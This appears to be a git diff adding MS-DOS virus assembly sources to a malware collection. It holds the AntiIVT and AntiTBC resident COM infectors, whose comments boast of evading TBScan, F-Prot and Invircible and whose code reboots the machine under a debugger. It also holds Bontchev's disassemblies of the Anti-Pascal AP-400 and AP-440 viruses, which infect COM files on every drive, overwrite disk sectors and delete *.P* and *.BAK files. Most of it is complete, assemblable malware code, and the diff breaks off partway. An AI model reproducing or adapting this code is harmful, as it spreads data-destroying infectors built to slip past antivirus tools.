mov ah,09h + int 21h + ret + +int_4b_scan: + + pushf + mov old_bx,bx + mov old_dx,dx +; push cs +; pop ds +; add dx,10h ; dx = Start seg + +; call scanvir +; jc loc_vir + + mov ax,old_bx + mov dx,old_dx + mov ds,dx + mov es,dx + popf + retf + +loc_vir: +; call message + pop dx + pop dx + pop ds + mov dx,old_dx + push dx + xor dx,dx + push dx + retf + + +scanvir: + ; dx = segment for scan (offset = 0) + ; cs:viroff = offset of virtable + ; ds = segment of virtable + ; cs:count = number of viruses + ; cs:num_ff = number of 64k + ; cs:last_pag = number of bytes in last page + ; return bit c if virus is founded + ; ds:si points to the viruses name + ; bp,es,di,bx,ax,dx мусор + + mov cs:es_main,dx ; es_main = Start_seg + + mov bp,cs:viroff ; bp - pointer to virus table + mov bh,0 + +loc_5: + cmp byte ptr cs:count,bh + jne loc_61 + ret +loc_61: + inc bh + mov di,cs:es_main ; + mov es,di ; + xor di,di ; + mov dx,cs:num_ff ; + mov si,cs:[bp] ; si points to this viruses pattern + lodsb + mov bl,al ; bl - counter of characters in virus pattern + sub bl,1 + lodsb ; al - first char of pattern + jmp loc_12 ; go to search + +loc_9: + cmp dx,-1 ; virus is ended ? + jne loc_15 ; no + add bp,2 ; bp points to the next virus + jmp loc_5 + +loc_15: + + xor di,di ; di points to the beginning of the next segment + mov cx,es ; + add cx,1000h ; + mov es,cx ; es points to the next segment + +loc_12: + cmp dx,0 ; we'll work with last page ? + je loc_2 ; yes + mov cx,0ffffh ; cx = maximum counter + jmp loc_10 +loc_2: + mov cx,cs:last_pag ; + +loc_10: + + repne scasb ; search for first char + je loc_13 ; found + dec dx ; decrement of the counter of 64k + jmp loc_9 ; go to the preparing for the search in next segment + +loc_13: + mov cs:old_cx,cx ; + mov cs:old_si,si + push di + push es + cmp di,0fff0h + jbe loc_7 + mov cx,es + inc cx + mov es,cx + sub di,10h + +loc_7: + xor cx,cx + mov cl,bl + repz cmpsb + jne loc_11 + pop es + pop di + jmp loc_89 ; found ! + +loc_11: + mov si,cs:old_si + pop es + pop di + mov cx,cs:old_cx + jmp loc_10 + +loc_er: + + +loc_89: + stc + ret + +start endp + +strategy proc far + mov cs:sav_off,bx + mov cs:sav_seg,es + retf + +sav_off dw 0 +sav_seg dw 0 +strategy endp + +interrupt proc far + nop +install: + cli + mov byte ptr cs:[interrupt],0CBh + pushf + pushrs + mov bp, sp + + xor ax,ax + push ax + pop ds ; ds=0 + cli + + les di,ds:[21h*4] + mov cs:old_21h_off,di + mov cs:old_21h_seg,es + + les di,ds:[31h*4] + + mov ds:[21h*4],offset cs:int_21h_entry + mov ds:[21h*4+2],cs + + sti + + ; find 'MZ' + mov cx,-1 + cld + mov al,4dh +loc_lo: + repne scasb + jne loc_err + cmp byte ptr es:[di],5ah + jne loc_lo + +loc_loop: + ; 'MZ' found + + push cs + pop ds + lea si,cs:pattern + inc si + + + mov byte ptr al,cs:[si-1] + inc si +loc_loop1: + dec si + repne scasb + jne loc_err + push cx + mov cx,6 + rep cmpsb + pop cx + jnz loc_loop1 + +suc_end: + mov byte ptr es:[di-5],0eah + mov es:[di-4],offset cs:int_4b_scan + mov es:[di-2],cs +loc_err: + les di,dword ptr cs:sav_off + mov es:[di+0Eh],offset install + mov es:[di+10h],cs + mov word ptr es:[di+3], 0 ; + mov sp, bp + poprs + popf + retf +pattern: + db 08eh + db 0c2h + db 08eh + db 0dah + db 08bh + db 0c3h + db 0cbh + +interrupt endp + end \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.antiivt.asm b/MSDOS/Virus.MSDOS.Unknown.antiivt.asm new file mode 100644 index 00000000..4b9be3f0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.antiivt.asm @@ -0,0 +1,164 @@ +; AntiIVT - written by Conzouler/IR 1995 +; +; A virus based on RSV which fool Invircible's test program. +; +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; no f-prot heuristics +; fools invircible test +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 2 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ; Initial jump +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Mark owner of memory + mov ax, 3521h ; Get interrupt vector + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec21 + int 21h + +restore: + mov di, 100h + push cs ; Set es and ds to psp + pop ds + push ds + pop es + pop si ; Get entry point + push di ; Save it + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret +v21e: cmp ax, 4B00h ; Execute program + jne v21x + + push ax ; Infect file + push bx + push cx + push dx + push ds + + +; This routine checks the name of the currently running program. + + mov ah, 62h ; Get psp + int 21h + dec bx + mov ds, bx + cmp word ptr ds:[8], 'VI' + je infectend + + pop ds + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + + int 21h + cmp byte ptr last[2], 0EAh ; Check if infected + je infectx + + mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-7 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h +infectend: + pop ds + pop dx + pop cx + pop bx + pop ax + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? +last: +end entry + diff --git a/MSDOS/Virus.MSDOS.Unknown.antipas.asm b/MSDOS/Virus.MSDOS.Unknown.antipas.asm new file mode 100644 index 00000000..3d819214 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.antipas.asm @@ -0,0 +1,315 @@ +; ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506 +;=========================================================================== +; BBS: The Programmer's Inn +;Date: 11-24-91 (20:08) Number: 3562 +;From: AHMED DOGAN Refer#: NONE +; To: ALL Recvd: NO +;Subj: ANTI PASCAL Conf: (16) VIRUS +;--------------------------------------------------------------------------- + page ,132 + name AP400 + title The 'Anti-Pascal' virus, version AP-400 + .radix 16 + +; +;...................................................................... +;...... +; . Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, +;ap. 51 . +; . Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +;. +; . +;. +; . The 'Anti-Pascal' Virus, version AP-400 +;. +; . Disassembled by Vesselin Bontchev, July 1990 +;. +; . +;. +; . Copyright (c) Vesselin Bontchev 1989, 1990 +;. +; . +;. +; . This listing is only to be made available to virus +;researchers . +; . or software writers on a need-to-know basis. +;. +; +;...................................................................... +;...... + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) ; The original "program" + + mov ax,4C00 ; Just exit + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '?????????A?' +maxdrv db ? +sign db 'PAD' + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it +;=========================================================================== +; BBS: The Programmer's Inn +;Date: 11-24-91 (20:08) Number: 3563 +;From: AHMED DOGAN Refer#: NONE +; To: ALL Recvd: NO +;Subj: ANTI PASCAL Conf: (16) VIRUS +;--------------------------------------------------------------------------- + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read sector #50 of the drive specified + mov dx,50d + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jnc wr_drive ; Write the information back if no error + + pop ax ; Restore AX + pop si ; Restore SI + +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives +xit: + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jnc cont ; Continue if no error + clc + jmp drv_xit ; Otherwise exit + +; Find first COM file on the current directory of the selected drive: + +cont: + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + mov ah,13 ; Delete all *.P* files in that dir + +; +;=========================================================================== +; BBS: The Programmer's Inn +;Date: 11-24-91 (20:08) Number: 3564 +;From: AHMED DOGAN Refer#: NONE +; To: ALL Recvd: NO +;Subj: ANTI PASCAL Conf: (16) VIRUS +;--------------------------------------------------------------------------- + lea dx,[si+offset allp-v_const] + int 21 ; Do it + clc + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save filename address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jc xit ; Exit on error + + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + +; +;=========================================================================== +; BBS: The Programmer's Inn +;Date: 11-24-91 (20:08) Number: 3565 +;From: AHMED DOGAN Refer#: NONE +; To: ALL Recvd: NO +;Subj: ANTI PASCAL Conf: (16) VIRUS +;--------------------------------------------------------------------------- + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.antitbc.asm b/MSDOS/Virus.MSDOS.Unknown.antitbc.asm new file mode 100644 index 00000000..3141cad2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.antitbc.asm @@ -0,0 +1,176 @@ +; AntiTBC - written by Conzouler/IR 1995 +; +; Based on RSV. +; +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; no f-prot heuristics +; fools tbclean (look at the restore routine) +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 2 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ; Initial jump +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Mark owner of memory + mov ax, 3521h ; Get interrupt vector + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec21 + int 21h + +restore: + mov di, 100h + push cs ; Set es and ds to psp + pop ds + push ds + pop es + pop si ; Get entry point + push di ; Save it + + +; This piece of code will fool a debugger + + ; Check if debugger + jmp clear ; Clear prefetch queue +clear: mov byte ptr [$+6], 0 ; Disable next jump + jmp nodebug ; This jump will be + ; disabled if debugger. + ; Hohoho.. A debugger or TB-Clean... + ; Move destructive code to beginning instead + mov cx, efflen + add si, offset effect - offset oentry + rep movsb + retn + +nodebug: + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + +effect: + ; This is the effect that will run if a debugger is used. + ; Reboot + db 0EAh, 000h, 0F0h, 0FFh, 0FFh ; Jump FFFF:F000 +efflen equ $ - offset effect + + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret +v21e: cmp ax, 4B00h ; Execute program + jne v21x + + push ax ; Infect file + push bx + push cx + push dx + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + + int 21h + cmp byte ptr last[2], 0EAh ; Check if infected + je infectx + + mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-7 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop dx + pop cx + pop bx + pop ax + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? +last: +end entry + diff --git a/MSDOS/Virus.MSDOS.Unknown.ap-400.asm b/MSDOS/Virus.MSDOS.Unknown.ap-400.asm new file mode 100644 index 00000000..0df91c31 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ap-400.asm @@ -0,0 +1,270 @@ + page ,132 + name AP400 + title The 'Anti-Pascal' virus, version AP-400 + .radix 16 + +; ╔══════════════════════════════════════════════════════════════════════════╗ +; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║ +; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║ +; ║ ║ +; ║ The 'Anti-Pascal' Virus, version AP-400 ║ +; ║ Disassembled by Vesselin Bontchev, July 1990 ║ +; ║ ║ +; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║ +; ║ ║ +; ║ This listing is only to be made available to virus researchers ║ +; ║ or software writers on a need-to-know basis. ║ +; ╚══════════════════════════════════════════════════════════════════════════╝ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) ; The original "program" + + mov ax,4C00 ; Just exit + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '?????????A?' +maxdrv db ? +sign db 'PAD' + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it + + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read sector #50 of the drive specified + mov dx,50d + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jnc wr_drive ; Write the information back if no error + + pop ax ; Restore AX + pop si ; Restore SI + +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives +xit: + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jnc cont ; Continue if no error + clc + jmp drv_xit ; Otherwise exit + +; Find first COM file on the current directory of the selected drive: + +cont: + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + mov ah,13 ; Delete all *.P* files in that dir + lea dx,[si+offset allp-v_const] + int 21 ; Do it + clc + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jc xit ; Exit on error + + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ap-440.asm b/MSDOS/Virus.MSDOS.Unknown.ap-440.asm new file mode 100644 index 00000000..f472dd2a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ap-440.asm @@ -0,0 +1,284 @@ + page ,132 + name AP440 + title The 'Anti-Pascal' virus, version AP-440 + .radix 16 + +; ╔══════════════════════════════════════════════════════════════════════════╗ +; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║ +; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║ +; ║ ║ +; ║ The 'Anti-Pascal' Virus, version AP-440 ║ +; ║ Disassembled by Vesselin Bontchev, July 1990 ║ +; ║ ║ +; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║ +; ║ ║ +; ║ This listing is only to be made available to virus researchers ║ +; ║ or software writers on a need-to-know basis. ║ +; ╚══════════════════════════════════════════════════════════════════════════╝ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) + + mov ax,4C00 + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '????????P??' +allbak db 0, '????????BAK' +maxdrv db ? +sign db 'ICS 89' + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it + + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read the boot sector of the drive specified + xor dx,dx + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jc bad_drv ; Exit on error + + inc byte ptr [bx] ; Increment the first byte (?!) + cmp byte ptr [bx+1],6F ; Second byte == 111 (?!) + jne wr_drive ; Write the new values if not + +bad_drv: + pop ax ; Restore AX + pop si ; Restore SI +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there are more drives + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jc drv_xit ; Exit on error + +; Find first COM file on the current directory of the selected drive: + + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, go to next file + jmp drv_xit ; Otherwise quit + +no_more: + lea di,[si+offset v_end-v_const] + cmp byte ptr [di],'Z' + jb drv_xit + + mov ah,13 ; Delete all *.P* files in that dir + lea dx,[si+offset allp-v_const] + int 21 ; Do it + cmp al,-1 + je drv_xit ; Exit on error + + mov ah,13 ; Delete all *.BAK files too + lea dx,[si+offset allbak-v_const] + int 21 ; Do it + + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jnc inf_cont ; Continue if all OK +inf_xit: + ret ; Otherwise exit + +inf_cont: + mov ax,3D02 ; Open file for both reading and writing + int 21 + jc inf_xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from mydta + mov dx,[si+offset date-v_const] ; Get date from mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them from mydta + xor ch,ch + mov dx,[si+offset namaddr-v_const] ; Point to file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ap-480.asm b/MSDOS/Virus.MSDOS.Unknown.ap-480.asm new file mode 100644 index 00000000..9a0520fe --- /dev/null +++ 